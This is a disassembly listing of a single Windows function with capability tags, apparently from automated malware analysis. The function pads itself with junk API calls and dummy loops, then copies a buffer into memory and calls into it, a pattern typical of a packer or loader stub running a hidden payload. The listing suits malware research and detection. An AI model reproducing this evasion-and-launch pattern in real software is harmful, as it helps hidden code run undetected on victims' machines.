Function at 0x816eb0
Capabilities:
Copy file
Get common file path
Manipulate console buffer
Move file
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c6c
call fcn.00414960
mov eax, dword [0x824008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LocalSize]
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_PrivilegedServiceAuditAlarmA]
xor esi, esi
cmp dword [0x828678], 0xc31
jne 0x816efa
push 0
push 0
push 0
push str.hegotayepabeyidazoniravuv
push str.panegimudenohowatugivo
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x92601b2
jg 0x81714d
inc esi
cmp esi, 0x3661b720
jl 0x816ed8
xor esi, esi
mov ecx, dword [0x824ff8]
xor eax, eax
nop
cmp eax, 0x562d05
jne 0x816f2d
mov dword [0x82867c], ecx
inc eax
cmp eax, 0x5f6c74
jl 0x816f20
cmp dword [0x828678], 0x7c
jne 0x817046
push esi
lea ecx, [ebp - 0xc04]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor eax, eax
lea edx, [ebp - 0x1c18]
push edx
mov dword [ebp - 0x1c14], eax
mov dword [ebp - 0x1c10], eax
mov dword [ebp - 0x1c0c], eax
mov dword [ebp - 0x1c08], eax
lea eax, [ebp - 0x1c64]
push eax
push esi
lea ecx, [ebp - 0x404]
push ecx
push esi
push esi
push esi
push esi
mov dword [ebp - 0x1c18], esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0x2e
lea edx, [ebp - 0x1c5c]
push esi
push edx
mov dword [ebp - 0x1c60], esi
call fcn.004095e0
add esp, 0xc
push esi
lea eax, [ebp - 0x1c60]
push eax
push str.pehabesujiwinisanolace
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push esi
push esi
push esi
push esi
push str.seyoruzacisoxezoduhonenagiyiv
push str.mebotiyijadif
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
lea ecx, [ebp - 0x1404]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalLock]
cmp dword [0x828678], 0x2d
jne 0x81701d
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProfileStringW]
push esi
lea edx, [ebp - 0x1c04]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
cmp dword [0x828678], 0x54
jne 0x81702e
push esi
push esi
call dword [sym.imp.KERNEL32.dll_QueryMemoryResourceNotification]
push 0x821f62
push 0x826e88
call fcn.00401279
push esi
call fcn.00401596
add esp, 0xc
cmp dword [0x828678], 0x110a
jne 0x81716f
mov dword [0x827978], esi
mov dword [0x82797c], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push esi
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
lea eax, [ebp - 0x1c04]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push esi
push esi
lea ecx, [ebp - 0x1c64]
push ecx
call sub.KERNEL32.dll_SetConsoleDisplayMode
push esi
lea edx, [ebp - 0x1404]
push edx
push str.guvavidesigoxon_xiciwagafuhewufebeg_cenehevecojepigalolobukotivi_fitopug_tuboluzatefuwuye
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push esi
push esi
mov dword [ebp - 0x1c08], 0xf
mov dword [ebp - 0x1c0c], esi
mov byte [ebp - 0x1c1c], 0
call fcn.0040142b
push esi
push esi
call fcn.0040142b
push 0x822034
push str.0.txt
push esi
call fcn.004016b6
add esp, 0x1c
push str.0__s__d__f
call fcn.004014f1
add esp, 4
push 0x7fc
lea eax, [ebp - 0x800]
push esi
push eax
mov dword [ebp - 0x804], 0x30
call fcn.004095e0
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push esi
lea edx, [ebp - 0x804]
push edx
push 0xce6
push 0x827990
call fcn.0040182a
add esp, 0x14
push esi
push esi
call fcn.0040142b
add esp, 8
push esi
call fcn.00401e83
cmp dword [0x828678], 0xa
jne 0x816f15
lea eax, [ebp - 0x1c64]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
jmp 0x816f17
call fcn.008162f0
cmp dword [0x828678], esi
jbe 0x8171d8
mov edi, dword [sym.imp.ADVAPI32.dll_RegRestoreKeyW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetPriorityClass]
jmp 0x817190
mov eax, dword [0x82867c]
mov cl, byte [eax + esi + 0xa231]
mov edx, dword [0x82738c]
mov byte [edx + esi], cl
cmp dword [0x828678], 0x5ab
jne 0x8171cd
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetPrivateObjectSecurity]
inc esi
cmp esi, dword [0x828678]
jb 0x817190
xor esi, esi
call fcn.00816be0
call fcn.00816320
call fcn.00816e00
mov ecx, dword [0x82738c]
xor eax, eax
nop
cmp eax, 0xbd9cb
jne 0x8171fd
add ecx, 0
inc eax
cmp eax, 0x15a63d
jl 0x8171f0
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov dword [0x82738c], ecx
mov dword [ebp - 0x1c64], 0x6f479f
mov ebx, 0x8e55e61a
jmp 0x817230
cmp dword [0x828678], 0x58
mov dword [0x827980], ebx
jne 0x81726d
push 0
push 0x822050
call esi
xor ecx, ecx
xor eax, eax
lea edx, [ebp - 0x1c6c]
push edx
mov word [ebp - 0x1c68], ax
mov word [ebp - 0x1c66], cx
mov eax, dword [ebp - 0x1c68]
push eax
push ecx
push ecx
push ecx
call edi
sub dword [ebp - 0x1c64], 1
jne 0x817230
call dword [0x82738c]
mov edi, dword [sym.imp.USER32.dll_GetProcessDefaultLayout]
mov ebx, dword [ebp - 0x1c24]
xor esi, esi
lea ebx, [ebx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push 0
call edi
cmp esi, 0x1ac2b
jle 0x8172b0
cmp ebx, 0xf5bee1
jne 0x8172b9
inc esi
cmp esi, 0x1ebc2db6
jl 0x817290
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040126a
mov esp, ebp
pop ebp
ret